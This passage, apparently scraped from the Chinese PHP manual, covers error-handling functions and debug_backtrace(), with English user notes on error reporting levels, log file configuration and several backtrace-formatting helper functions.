                return 'E_COMPILE_ERROR';
            case E_CORE_WARNING: // 128 //
                return 'E_COMPILE_WARNING';
            case E_USER_ERROR: // 256 //
                return 'E_USER_ERROR';
            case E_USER_WARNING: // 512 //
                return 'E_USER_WARNING';
            case E_USER_NOTICE: // 1024 //
                return 'E_USER_NOTICE';
            case E_STRICT: // 2048 //
                return 'E_STRICT';
            case E_RECOVERABLE_ERROR: // 4096 //
                return 'E_RECOVERABLE_ERROR';
            case E_DEPRECATED: // 8192 //
                return 'E_DEPRECATED';
            case E_USER_DEPRECATED: // 16384 //
                return 'E_USER_DEPRECATED';
            }
        return $type;
    }
Andy at Azurite (co uk) 16-Apr-2011 04:15
-1 is also semantically meaningless as a bit field, and only works in 2s-complement numeric representations.  On a 1s-complement system -1 would not set E_ERROR.  On a sign-magnitude system -1 would set nothing at all! (see e.g. http://en.wikipedia.org/wiki/Ones%27_complement)

If you want to set all bits, ~0 is the correct way to do it.

But setting undefined bits could result in undefined behaviour and that means *absolutely anything* could happen :-)
PhpMyCoder 15-Jul-2010 03:26
Well, technically -1 will show all errors which includes any new ones included by PHP. My guess is that E_ALL will always include new error constants so I usually prefer:

<?php
error_reporting(E_ALL | E_STRICT);
?>

Reason being: With a quick glance anyone can tell you what errors are reported. -1 might be a bit more cryptic to newer programmers.


示例

下面我们可以看到错误处理功能在 PHP 中的使用的示例。定义错误处理函数，记录错误信息到文件中（使用 XML 格式），并在发生严重错误时向开发人员发送电子邮件。

Example #1 在脚本中使用错误句柄

<?php
// 我们将要定义自己的错误处理
error_reporting(0);

// 用户自定义错误处理函数
function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
{
// 错误发生的时间
$dt = date("Y-m-d H:i:s (T)");

// 定义错误字符串的关联数组
// 在这里我们只考虑
// E_WARNING, E_NOTICE, E_USER_ERROR,
// E_USER_WARNING 和 E_USER_NOTICE
$errortype = array (
E_ERROR => 'Error',
E_WARNING => 'Warning',
E_PARSE => 'Parsing Error',
E_NOTICE => 'Notice',
E_CORE_ERROR => 'Core Error',
E_CORE_WARNING => 'Core Warning',
E_COMPILE_ERROR => 'Compile Error',
E_COMPILE_WARNING => 'Compile Warning',
E_USER_ERROR => 'User Error',
E_USER_WARNING => 'User Warning',
E_USER_NOTICE => 'User Notice',
E_STRICT => 'Runtime Notice',
E_RECOVERABLE_ERROR => 'Catchable Fatal Error'
);
// 设置要保存变量跟踪信息的错误类别
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

$err = "<errorentry>\n";
$err .= "\t<datetime>" . $dt . "</datetime>\n";
$err .= "\t<errornum>" . $errno . "</errornum>\n";
$err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
$err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
$err .= "\t<scriptname>" . $filename . "</scriptname>\n";
$err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

if (in_array($errno, $user_errors)) {
$err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";
}
$err .= "</errorentry>\n\n";

// for testing
// echo $err;

// 记录错误信息到错误日志，并在发生关键用户错误时发送电子邮件
error_log($err, 3, "/usr/local/php4/error.log");
if ($errno == E_USER_ERROR) {
mail("phpdev@example.com", "Critical User Error", $err);
}
}

function distance($vect1, $vect2)
{
if (!is_array($vect1) || !is_array($vect2)) {
trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
return NULL;
}

if (count($vect1) != count($vect2)) {
trigger_error("Vectors need to be of the same size", E_USER_ERROR);
return NULL;
}

for ($i=0; $i<count($vect1); $i++) {
$c1 = $vect1[$i]; $c2 = $vect2[$i];
$d = 0.0;
if (!is_numeric($c1)) {
trigger_error("Coordinate $i in vector 1 is not a number, using zero",
E_USER_WARNING);
$c1 = 0.0;
}
if (!is_numeric($c2)) {
trigger_error("Coordinate $i in vector 2 is not a number, using zero",
E_USER_WARNING);
$c2 = 0.0;
}
$d += $c2*$c2 - $c1*$c1;
}
return sqrt($d);
}

$old_error_handler = set_error_handler("userErrorHandler");

// 未定义的常量，将产生一个警告
$t = I_AM_NOT_DEFINED;

// 定义一些 "载体"
$a = array(2, 3, "foo");
$b = array(5.5, 4.3, -1.6);
$c = array(1, -3);

// 引发一个用户错误
$t1 = distance($c, $b) . "\n";

// 再次引发一个用户错误
$t2 = distance($b, "i am not an array") . "\n";

// 引发一个警告
$t3 = distance($a, $b) . "\n";

?>

User Contributed Notes

delcroixenator at gmail dot com 17-Mar-2022 07:50
For the above "distance" function to work properly, you must correct it as follows:
$d = 0.0; // must be moved before the for loop
 $d += $c2*$c2 - $c1*$c1; // must be replaced by $d += ($c2 - $c1) ** 2 ;

Another thing: in the "userErrorHandler" function, the variables $vars and $user_errors are declared but not used.


错误处理 函数

参见

参见 syslog()。

Table of Contents

  • debug_backtrace — 产生一条回溯跟踪(backtrace)
  • debug_print_backtrace — 打印一条回溯。
  • error_clear_last — 清除最近一次错误
  • error_get_last — 获取最后发生的错误
  • error_log — 发送错误信息到某个地方
  • error_reporting — 设置应该报告何种 PHP 错误
  • restore_error_handler — 还原之前的错误处理函数
  • restore_exception_handler — 恢复之前定义过的异常处理函数。
  • set_error_handler — 设置用户自定义的错误处理函数
  • set_exception_handler — 设置用户自定义的异常处理函数
  • trigger_error — 产生一个用户级别的 error/warning/notice 信息
  • user_error — 别名 trigger_error

User Contributed Notes

jbq at caraldi dot com 15-Nov-2007 05:50
Precision about error_log when configured with syslog: the syslog() call is done with severity NOTICE.
Stephen 18-Jan-2007 03:29
If you are using PHP as an Apache module, your default behavior may be to write PHP error messages to Apache's error log. This is because the error_log .ini directive may be set equal to "error_log" which is also the name of Apache's error log. I think this is intentional.

However, you can separate Apache errors from PHP errors if you wish by simply setting a different value for error_log. I write mine in the /var/log folder.
petrov dot michael () gmail com 16-Jan-2007 11:11
I have found that on servers that enforce display_errors to be off it is very inconvenient to debug syntax errors since they cause fatal startup errors. I have used the following method to bypass this limitation:

The syntax error is inside the file "syntax.php", therefore I create a file "syntax.debug.php" with the following code:

<?php
error_reporting(E_ALL);
ini_set('display_errors','On');

include('syntax.php');
?>

The 5 line file is guaranteed to be free of errors, allowing PHP to execute the directives within it before including the file which previously caused fatal startup errors. Now those fatal startup errors become run time fatal errors.
mortonda at dgrmm dot net 08-Jan-2007 05:16
Note the example code listed here calls date() every time this is called.   If you have a complex source base which calls the custom error handler often, it can end up taking quite a bit of time.  I ran a profiler on som code and discovered that 50% of the time was spent in the date function in this error handler.
theotek AT nowhere DOT org 04-Aug-2006 08:40
It is totally possible to use debug_backtrace() inside an error handling function. Here, take a look:

<?php
set_error_handler('errorHandler');

function errorHandler( $errno, $errstr, $errfile, $errline, $errcontext)
{
  echo 'Into '.__FUNCTION__.'() at line '.__LINE__.
  "\n\n---ERRNO---\n". print_r( $errno, true).
  "\n\n---ERRSTR---\n". print_r( $errstr, true).
  "\n\n---ERRFILE---\n". print_r( $errfile, true).
  "\n\n---ERRLINE---\n". print_r( $errline, true).
  "\n\n---ERRCONTEXT---\n".print_r( $errcontext, true).
  "\n\nBacktrace of errorHandler()\n".
  print_r( debug_backtrace(), true);
}

function a( )
{
  //echo "a()'s backtrace\n".print_r( debug_backtrace(), true);
  asdfasdf; // oops
}

function b()
{
  //echo "b()'s backtrace\n".print_r( debug_backtrace(), true);
  a();
}

b();
?>

Outputs:

<raw>

Into errorhandler() at line 9

---ERRNO---
8

---ERRSTR---
Use of undefined constant asdfasdf - assumed 'asdfasdf'

---ERRFILE---
/home/theotek/test-1.php

---ERRLINE---
23

---ERRCONTEXT---
Array
(
)

Backtrace of errorHandler()
Array
(
    [0] => Array
        (
            [function] => errorhandler
            [args] => Array
                (
                    [0] => 8
                    [1] => Use of undefined constant asdfasdf - assumed 'asdfasdf'
                    [2] => /home/theotek/test-1.php
                    [3] => 23
                    [4] => Array
                        (
                        )

                )

        )

    [1] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 23
            [function] => a
        )

    [2] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 30
            [function] => a
            [args] => Array
                (
                )

        )

    [3] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 33
            [function] => b
            [args] => Array
                (
                )

        )

)

</raw>

So, the first member of the backtrace's array is not really surprising, except from the missing "file" and "line" members.

The second member of the backtrace seem the be a hook inside the zend engine that is used to trigger the error.

Other members are the normal backtrace.
tracerdx at tracerdx dot com 28-Nov-2005 09:46
I keep seeing qualification lists for error types/error-nums as arrays; In user notes and in the manual itself. For example, in this manual entry's example, when trying to seperate behavior for the variable trace in the error report:

<?php //...

// set of errors for which a var trace will be saved
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

//and later...

if (in_array($errno, $user_errors)) {
    //...whatever
}

//... ?>

I was under the impression that PHP error code values where bitwise flag values. Wouldn't bitwise masking be better? So I propose a slightly better way:
<?php //...

$user_errors = E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;

//...blah...

if ($errno & $user_errors) {
    //...whatever
}

//... ?>
Or for those of you who don't like the idea of using an integer as the condition in an if statement:

<?php
if (($errno & $user_errors) > 0) {
    //...whatever
}
?>

I think that's much more efficient than using _yet another_ array() constuct and an in_array().

If I am wrong, and the E_* constants aren't supposed to be used in this fashion (ie, the constans aren't guaranteed to be bitwise, which would be odd since that's how they're setup in the php.ini file), then delete me. I just don't see why one should be using arrays when bitwise comparisons will work, considering the bitwise method should be MUCH more efficient.
20-May-2005 04:20
When configuring your error log file in php.ini, you can use an absolute path or a relative path.  A relative path will be resolved based on the location of the generating script, and you'll get a log file in each directory you have scripts in.  If you want all your error messages to go to the same file, use an absolute path to the file.

In some application development methodologies, there is the concept of an application root directory, indicated by "/" (even on Windows).  However, PHP does not seem to have this concept, and using a "/" as the initial character in a log file path produces weird behavior on Windows.

If you are running on Windows and have set, in php.ini:

  error_log = "/php_error.log"

You will get some, but not all, error messages.  The file will appear at

  c:\php_error.log

and contain internally generated error messages, making it appear that error logging is working.  However, log messages requested by error_log() do NOT appear here, or anywhere else, making it appear that the code containing them did not get processed.

Apparently on Windows the internally generated errors will interpret "/" as "C:\" (or possibly a different drive if you have Windows installed elsewhere - I haven't tested this).  However, the error_log process apparently can't find "/" - understandably enough - and the message is dropped silently.
shawing at gmail dot com 27-Jan-2005 02:05
Although the root user writes to the files 'error_log' and 'access_log', the Apache user has to own the file referenced by 'error_log = filename' or no log entries will be written.

; From php.ini
; Log errors to specified file.
error_log = /usr/local/apache/logs/php.errors

[root@www logs]$ ls -l /usr/local/apache/logs/php.errors
-rw-r--r--    1 nobody   root          27K Jan 27 16:58 php.errors
ptah at se dot linux dot org 09-Sep-2004 05:20
PHP5 only (only tested with php5.0).

If you, for some reason, prefer exceptions over errors and have your custom error handler (set_error_handler) wrap the error into an exception you have to be careful with your script.

Because if you, instead of just calling the exception handler, throws the exception, and having a custom exception handler (set_exception_handler). And an error is being triggered inside that exception handler, you will get a weird error:
"Fatal error: Exception thrown without a stack frame in Unknown on line 0"

This error is not particulary informative, is it? :)

This example below will cause this error.
<?php
class PHPErrorException extends Exception
{
    private $context = null;
    public function __construct
        ($code, $message, $file, $line, $context = null)
    {
        parent::__construct($message, $code);
        $this->file = $file;
        $this->line = $line;
        $this->context = $context;
    }
};

function error_handler($code, $message, $file, $line) {
    throw new PHPErrorException($code, $message, $file, $line);
}

function exception_handler(Exception $e)
{
    $errors = array(
        E_USER_ERROR        => "User Error",
        E_USER_WARNING        => "User Warning",
        E_USER_NOTICE        => "User Notice",
        );

    echo $errors[$e->getCode()].': '.$e->getMessage().' in '.$e->getFile().
        ' on line '.$e->getLine()."\n";
    echo $e->getTraceAsString();
}

set_error_handler('error_handler');
set_exception_handler('exception_handler');

// Throw exception with an /unkown/ error code.
throw new Exception('foo', 0);
?>

There are however, easy fix for this as it's only cause is sloppy code.
Like one, directly call exception_handler from error_handler instead of throwing an exception. Not only does it remedy this problem, but it's also faster. Though this will cause a `regular` unhandled exception being printed and if only "designed" error messages are intended, this is not the ultimate solution.

So, what is there to do? Make sure the code in exception_handlers doesn't cause any errors! In this case a simple isset() would have solved it.

regards, C-A B.


产生一条回溯跟踪(backtrace)

  • ? 错误处理 函数
  • debug_print_backtrace ?
  • PHP Manual
  • 错误处理 函数
  • 产生一条回溯跟踪(backtrace)

debug_backtrace

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

debug_backtrace — 产生一条回溯跟踪(backtrace)

说明

debug_backtrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT, int $limit = 0): array

debug_backtrace() 产生一条 PHP 的回溯跟踪(backtrace)。

参数

options

这个参数是以下选项的位掩码：

debug_backtrace() 选项
DEBUG_BACKTRACE_PROVIDE_OBJECT | 是否填充 "object" 的索引。
DEBUG_BACKTRACE_IGNORE_ARGS | 是否忽略 "args" 的索引，包括所有的 function/method 的参数，能够节省内存开销。

Note:

有四种可能的组合：

debug_backtrace() 选项
debug_backtrace() | 两个索引都有
debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT)
debug_backtrace(1)
debug_backtrace(0) | 忽略索引 "object" 和填充索引 "args"。
debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS) | 忽略索引 "object" 和 索引 "args"。
debug_backtrace(2)
debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT|DEBUG_BACKTRACE_IGNORE_ARGS) | 填充索引 "object" 和忽略索引 "args"。
debug_backtrace(3)

limit

这个参数能够用于限制返回堆栈帧的数量。默认为（limit=0），返回所有的堆栈帧。

返回值

返回一个包含众多关联数组的 array。 以下为有可能返回的元素：

有可能从 debug_backtrace() 返回的元素
名字 | 类型 | 说明
function | string | 当前的函数名，参见：__FUNCTION__。
line | int | 当前的行号。参见：__LINE__。
file | string | 当前的文件名。参见：__FILE__。
class | string | 当前 class 的名称。参见__CLASS__
object | object | 当前的 object。
type | string | 当前调用的类型。如果是一个方法，会返回 "->"。如果是一个静态方法，会返回 "::"。如果是一个函数调用，则返回空。
args | array | 如果在一个函数里，这会列出函数的参数。如果是在一个被包含的文件里，会列出包含的文件名。

示例

Example #1 debug_backtrace() 范例

<?php
// filename: /tmp/a.php

function a_test($str)
{
echo "\nHi: $str";
var_dump(debug_backtrace());
}

a_test('friend');
?>

<?php
// filename: /tmp/b.php
include_once '/tmp/a.php';
?>

执行 /tmp/b.php 返回的结果类似于以下：

Hi: friend
array(2) {
[0]=>
array(4) {
    ["file"] => string(10) "/tmp/a.php"
    ["line"] => int(10)
    ["function"] => string(6) "a_test"
    ["args"]=>
    array(1) {
      [0] => &string(6) "friend"
    }
}
[1]=>
array(4) {
    ["file"] => string(10) "/tmp/b.php"
    ["line"] => int(2)
    ["args"] =>
    array(1) {
      [0] => string(10) "/tmp/a.php"
    }
    ["function"] => string(12) "include_once"
  }
}

参见

  • trigger_error() - 产生一个用户级别的 error/warning/notice 信息
  • debug_print_backtrace() - 打印一条回溯。

User Contributed Notes

liam at N0SPAM dot boxclever dot ca 13-Jul-2023 03:59
Options provided by bitmask parameters can be disabled using !

<?php
debug_backtrace( !DEBUG_BACKTRACE_PROVIDE_OBJECT | DEBUG_BACKTRACE_IGNORE_ARGS);
?>
jcmargentina at gmail dot com 11-Oct-2019 06:50
I want to point out that debug_backtrace() in new versions of php can detect recursion // circular references .. avoiding memory consumption.

Example:

<?php

class ParentClass {
        public function __construct()
        {
                $this->_child = new ChildClass($this);
                var_dump(debug_backtrace());
        }
}

class ChildClass {
        public function __construct(ParentClass $p)
        {
                $this->_parent = $p;
        }
}

$test = new ParentClass();
?>

Output:

array(1) {
  [0]=>
  array(7) {
    ["file"]=>
    string(23) "/home/jcm/testdebug.php"
    ["line"]=>
    int(18)
    ["function"]=>
    string(11) "__construct"
    ["class"]=>
    string(11) "ParentClass"
    ["object"]=>
    object(ParentClass)#1 (1) {
      ["_child"]=>
      object(ChildClass)#2 (1) {
        ["_parent"]=>
        *RECURSION*
      }
    }
    ["type"]=>
    string(2) "->"
    ["args"]=>
    array(0) {
    }
  }
}

Attention in the *RECURSION* hint provided
jake at qzdesign dot co dot uk 09-Mar-2019 09:19
The `args` element contains only the arguments actually passed to the function or method.  It does not include default parameters if they were not explicitly specified.  (A least, this is the case with PHP 7.1.9.)  This is consistent with the behaviour of `func_get_args()`.
robert at medianis dot net 04-Oct-2016 09:42
Just a short note on debug_backtrace options for PHP 5.3.6 or newer:

debug_backtrace() - show all options
debug_backtrace(0) - exlude ["object"]
debug_backtrace(1) - same as debug_backtrace()
debug_backtrace(2) - exlude ["object"] AND ["args"]

use this example and try calling debug_backtrace with different options

<?php
function F1()
{
    echo "<br />";
    echo "in F1 now";
    echo "<pre>".print_r(debug_backtrace(2),true)."</pre>";
}

class DebugOptionsTest
{
    function F2()
    {
        echo "<br />";
        echo "in F2 now";
        F1();
    }

}

echo "<hr />calling F1";
F1();

$c=new DebugOptionsTest();
echo "<hr /><hr /><hr />calling F2";
$c->F2("testValue");

?>
Emmett Brosnan 18-Aug-2016 08:31
Quick and dirty formatted output from debug_backtrace.

$file_paths = debug_backtrace();

foreach($file_paths AS $file_path) {
  foreach($file_path AS $key => $var) {
    if($key == 'args') {
      foreach($var AS $key_arg => $var_arg) {
        echo $key_arg . ': ' . $var_arg . '<br>';
      }
    } else {
      echo $key . ': ' . $var . '<br>';
    }
  }
}
anoam at yandex dot ru 17-Oct-2014 08:12
It works a little bit different with resources in different PHP versions.

For example:
function foo($bar)
{
  return debug_backtrace();
}

$resource = fopen(__FILE__, 'r');
$backtrace = foo($resource);
echo "when resource is opened: " . gettype($backtrace[0]['args'][0]) . "\n";
fclose($resource);
echo "when resource is closed: " . gettype($backtrace[0]['args'][0]) . "\n";

With 5.3.10 I got:
when resource is opened: resource
when resource is closed: resource

With 5.5.9:
when resource is opened: resource
when resource is closed: unknown type

Be carefull.
jonas at faceways dot se 20-Sep-2013 07:41
When using debug_backtrace() to check if you're being accessed from another caller, please remember to ask debug_backtrace to only go as far as needed in depth and skip taking the entire debug object as return parameter:

<?php
    if (count(debug_backtrace(FALSE, 1)) == 0)
    {
        // Do something
    }
?>
jurchiks101 at gmail dot com 21-May-2013 10:04
Here's a function I just wrote for getting a nice and comprehensible call trace. It is probably more resource-intensive than some other alternatives but it is short, understandable, and gives nice output (Exception->getTraceAsString()).

<?php
function generateCallTrace()
{
    $e = new Exception();
    $trace = explode("\n", $e->getTraceAsString());
    // reverse array to make steps line up chronologically
    $trace = array_reverse($trace);
    array_shift($trace); // remove {main}
    array_pop($trace); // remove call to this method
    $length = count($trace);
    $result = array();

    for ($i = 0; $i < $length; $i++)
    {
        $result[] = ($i + 1)  . ')' . substr($trace[$i], strpos($trace[$i], ' ')); // replace '#someNum' with '$i)', set the right ordering
    }

    return "\t" . implode("\n\t", $result);
}
?>

Example output:
    1) /var/www/test/test.php(15): SomeClass->__construct()
    2) /var/www/test/SomeClass.class.php(36): SomeClass->callSomething()
Anonymous 06-Mar-2013 09:01
A usual entry looks like this:
<?php
array(6) {
  'file' =>
  string(87) "DbSelector.php"
  'line' =>
  int(171)
  'function' =>
  string(5) "error"
  'class' =>
  string(42) "LoggingService"
  'type' =>
  string(2) "::"
  'args' =>
  array(1) {
    [0] =>
    string(27) "Connecting to DB: unittests"
  }
}
?>

Be warned though that 'file' and 'class' do not reference the same thing!
'file' means which file calls the next step.
'class' is the next step being called.

So 'file' is the caller, 'class' is the callee.
Gemorroj 11-Feb-2013 09:58
Another variation formatting backtrace.
Parameter $ignore to ignore the extra calls.
<?php
/**
 * Getting backtrace
 *
 * @param int $ignore ignore calls
 *
 * @return string
 */
protected function getBacktrace($ignore = 2)
{
    $trace = '';
    foreach (debug_backtrace() as $k => $v) {
        if ($k < $ignore) {
            continue;
        }

        array_walk($v['args'], function (&$item, $key) {
            $item = var_export($item, true);
        });

        $trace .= '#' . ($k - $ignore) . ' ' . $v['file'] . '(' . $v['line'] . '): ' . (isset($v['class']) ? $v['class'] . '->' : '') . $v['function'] . '(' . implode(', ', $v['args']) . ')' . "\n";
    }

    return $trace;
}
?>
nyoung55 at that_google_mail.com 31-Jan-2013 04:31
Here is a function to cleanly output the debug_backtrace to the error_log

<?php
/*
 * Send the output from a backtrace to the error_log
 * @param string $message Optional message that will be sent the the error_log before the backtrace
 */
function log_trace($message = '') {
    $trace = debug_backtrace();
    if ($message) {
        error_log($message);
    }
    $caller = array_shift($trace);
    $function_name = $caller['function'];
    error_log(sprintf('%s: Called from %s:%s', $function_name, $caller['file'], $caller['line']));
    foreach ($trace as $entry_id => $entry) {
        $entry['file'] = $entry['file'] ? : '-';
        $entry['line'] = $entry['line'] ? : '-';
        if (empty($entry['class'])) {
            error_log(sprintf('%s %3s. %s() %s:%s', $function_name, $entry_id + 1, $entry['function'], $entry['file'], $entry['line']));
        } else {
            error_log(sprintf('%s %3s. %s->%s() %s:%s', $function_name, $entry_id + 1, $entry['class'], $entry['function'], $entry['file'], $entry['line']));
        }
    }
}
?>
Anonymous 30-Jan-2013 08:12
Simple function to get a string in form "filename: [class->][function(): ]"

<?php
function get_caller_info() {
    $c = '';
    $file = '';
    $func = '';
    $class = '';
    $trace = debug_backtrace();
    if (isset($trace[2])) {
        $file = $trace[1]['file'];
        $func = $trace[2]['function'];
        if ((substr($func, 0, 7) == 'include') || (substr($func, 0, 7) == 'require')) {
            $func = '';
        }
    } else if (isset($trace[1])) {
        $file = $trace[1]['file'];
        $func = '';
    }
    if (isset($trace[3]['class'])) {
        $class = $trace[3]['class'];
        $func = $trace[3]['function'];
        $file = $trace[2]['file'];
    } else if (isset($trace[2]['class'])) {
        $class = $trace[2]['class'];
        $func = $trace[2]['function'];
        $file = $trace[1]['file'];
    }
    if ($file != '') $file = basename($file);
    $c = $file . ": ";
    $c .= ($class != '') ? ":" . $class . "->" : "";
    $c .= ($func != '') ? $func . "(): " : "";
    return($c);
}
?>

Usage like:

<?php
function debug($str) {
    echo get_caller_info() . $str . "<br>\n";
}
?>

get_caller_info() will return info about the function /class->method that called debug().
root at jackyyf dot com 22-Dec-2012 12:05
When use register_shutdown_function, and the function called when shutting down, there are no line number nor filename information about this function, only function, class(if possible), type(if possible) and args are provided.
d at rren dot me 04-Oct-2012 07:35
Howdy guys, just a note really - The ['args'] data within the resulting array is supplied by reference. I found myself editing the reference unknowingly which in turn shows its ugly head further down the line if you call multiple backtrace.

<?php
$trace = array_reverse(debug_backtrace());

// LOOP BACKTRACE
$la = 0;
$lb = count($trace);
while ($la<$lb){

    // DATA FROM BACKTRACE
    $trace[$la]['file'];
    $trace[$la]['line'];
    $trace[$la]['args'];
    $trace[$la]['function'];
    // DATA FROM BACKTRACE

    // LOOP ARGUMENTS ARRAY
    $ba = 0;
    $bb = count($trace[$la]['args']);
    while ($ba<$bb){

        $trace[$la]['args'][$ba] = "EDITING A REFERENCE/POINTER";

        $ba++;
    }
    unset($bb);
    unset($ba);
    // LOOP ARGUMENTS ARRAY

    $la++;
}
unset($lb);
unset($la);
// LOOP BACKTRACE
?>
kexianbin at diyism dot com 16-Sep-2012 02:26
need no Xdebug or dbg.so on server, return more detailed message:

diyism_trace.php:
<?php
define(TRACES_MODE, 'TEXTAREA');//'TEXTAREA' or 'FIREPHP'
$GLOBALS['traces.pre']=array();
function my_array_diff($arr1, $arr2)
         {foreach ($arr1 as $k=>$v)
                  {if (in_array($v, $arr2, true))
                      {unset($arr1[$k]);
                      }
                  }
          return $arr1;
         }
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }
function tick_handler()
         {$tmp=debug_backtrace();
          $trace=my_array_diff($tmp, $GLOBALS['traces.pre']);
          //echo '<pre>';var_export($trace);echo '</pre>';echo '<br/>'; //for debug diyism_trace.php
          $trace=array_values($trace);
          $GLOBALS['traces.pre']=$tmp;
          if (count($trace)>0 && $trace[0]['file'].'/'.@$tmp[1]['function']!==@$GLOBALS['traces'][count($GLOBALS['traces'])-1]['key']) //filter empty array and rearrange array_values(), because some lines will trigger two tick events per line, for example: 1.last line is "some code;questmark>" 2.error_reporting(...
             {for ($i=count($trace)-1; $i>=0; --$i)
                  {$GLOBALS['traces'][]=$tmp_fb=array_merge(array('key'=>$trace[$i]['file'].'/'.@$tmp[$i+1]['function']), $trace[$i], array('function'=>strtr($trace[$i]['function'], array('tick_handler'=>'CONTINUE')), 'in_function'=>@$tmp[$i+1]['function']));
                   TRACES_MODE==='FIREPHP'?fb(trace_output($tmp_fb), 'diyism_trace:'.++$GLOBALS['diyism_trace_no']):'';
                  }
             }
         }
function trace_output($trace)
         {$trace['in_function']=strtr(@$trace['in_function'], array('require'=>'', 'require_once'=>'', 'include'=>'', 'include_once'=>''));
          $trace['args']=$trace['args']?strtr(preg_replace(array('/\n +/'), array(''), preg_replace(array('/\n  \d+ => /'), array(''), substr(my_var_export($trace['args'], true), 7, -3))), array("\r"=>'\r', "\n"=>'\n')):'';
          return $trace['file'].($trace['in_function']?'/'.$trace['in_function'].'()':'').'/'.$trace['line'].': '.$trace['function'].'('.$trace['args'].')';
         }
function traces_output()
         {echo '<textarea style="width:100%;height:300px;">';
          $GLOBALS['traces']=array_slice($GLOBALS['traces'], 2);//remove registering tick line and requiring 'diyism_trace.php' line
          foreach ($GLOBALS['traces'] as $k=>$trace)
                  {echo htmlentities($k.':'.trace_output($trace)."\n");
                  }
          echo '</textarea>';
         }
register_tick_function('tick_handler');
TRACES_MODE==='TEXTAREA'?register_shutdown_function('traces_output'):'';
?>

test.php:
<?php
declare(ticks=1);
require 'diyism_trace.php';

a('a', array('hello'));
1+2;
b();
function a()
         {$d=1;
          b();
          $d=2;
         }
function b()
         {1+1;
         }
?>
ciprian dot stingu at gmail dot com 19-Nov-2011 12:32
A function that i use for debug
I shortened variables name and i eliminated the spaces from second function in order fit in post :(

<?php
define("LFP", './lt.log');
function LogTrace($Argument, $lfn = LFP, $itw = '  ')
{
    error_log("=====\r", 3, $lfn);
    error_log("[BEGIN BACKTRACE]\r", 3, $lfn);
    $it = '';
    $Ts = array_reverse(debug_backtrace());
    foreach($Ts as $T)
       {
        if($T['function'] != 'include' && $T['function'] != 'require' && $T['function'] != 'include_once' && $T['function'] != 'require_once')
        {
            $ft = $it . '<'. basename($T['file']) . '> on line ' . $T['line'];
            if($T['function'] != 'LogTrace')
            {
                if(isset($T['class']))
                    $ft .= ' in method ' . $T['class'] . $T['type'];
                else
                    $ft .= ' in function ';
                $ft .= $Trace['function'] . '(';
            }
            else
                $ft .= '(';
            if(isset($T['args'][0]))
            {
                if($T['function'] != 'LogTrace')
                {
                    $ct = '';
                    foreach($T['args'] as $A)
                    {
                        $ft .= $ct . LogVar($A, '', $it, $itw, 0);
                        $ct = $it . $itw . ',';
                    }
                }
                else
                    $ft .= LogVar($T['args'][0], '', $it, $itw, 0);
            }
            $ft .= $it . ")\r";
            error_log($ft, 3, $lfn);
            $it .= $itw;
        }
    }
    error_log("[END BACKTRACE]\r", 3, $lfn);
}

function LogVar(&$Var, $vn, $pit, $itw, $nlvl, $m = '')
{
    if($nlvl>=16) return;
    if($nlvl==0){$tv=serialize($Var);$tv=unserialize($tv);}
    else $tv=&$Var;
    $it=$pit.$itw;
    for($i=0; $i<$nlvl;$i++) $it.='.'.$itw;
    $o='';$nl="\n";
    if(is_array($tv))
    {
        if(strlen($vn)>0) $o.=$it.$m.'<array> $'.$vn.' = (';
        else $o.="\r".$it.$m.'<array> = (';
        $o.= $nl;$AK=array_keys($tv);
        foreach($AK as $AN) {$AV=&$tv[$AN];$o.=LogVar($AV,$AN,$pit,$itw,$nlvl+1);}
        $o.=$it.')'.$nl;
    }
    else if(is_string($tv))
    {
        if(strlen($vn)>0)$o.=$it.$m.'<string> $'.$vn.' = ';
        else $o.=' '.$m.'<string> = ';
        if($tv===null) $o.='NULL';
        else $o.='"'.$tv.'"';
        $o.=$nl;
    }
    else if(is_bool($tv))
    {
        if(strlen($vn) > 0) $o.=$it.$m.'<boolean> $'.$vn.' = ';
        else $o.=' '.$m.'<boolean> = ';
        if($tv===true) $o.='TRUE';
        else $o.='FALSE';
        $o.=$nl;
    }
    else if(is_object($tv))
    {
        if(strlen($vn)>0)
        {
            $o.=$pit.$itw;
            for($i=0;$i<$nlvl;$i++) $o.='.'.$itw;
            $o.=$m.'<'.get_class($tv).'::$'.$vn.'> = {'.$nl;
        }
        else $o.=' '.$m.'<'.get_class($tv).'::> = {'.$nl;
        $R=new ReflectionClass($tv);
        $o.=$it.'.'.$itw.'Class methods {'.$nl;
        $CM=$R->getMethods();
        foreach($CM as $MN => $MV)
        {
            $o.=$it.'.'.$itw.'.'.$itw.implode(' ',Reflection::getModifierNames($MV->getModifiers())).' '.$MV->getName().'(';
            $MP=$MV->getParameters(); $ct='';
            foreach($MP as $MPN => $MPV)
            {
                $o.=$ct; $o.=$MPV->isOptional()?'[':'';
                if($MPV->isArray()) $o.='<array> ';
                else if($MPV->getClass()!==null) $o.='<'.$MPV->getClass()->getName().'::> ';
                $o.=$MPV->isPassedByReference()?'&':''; $o.='$'.$MPV->getName();
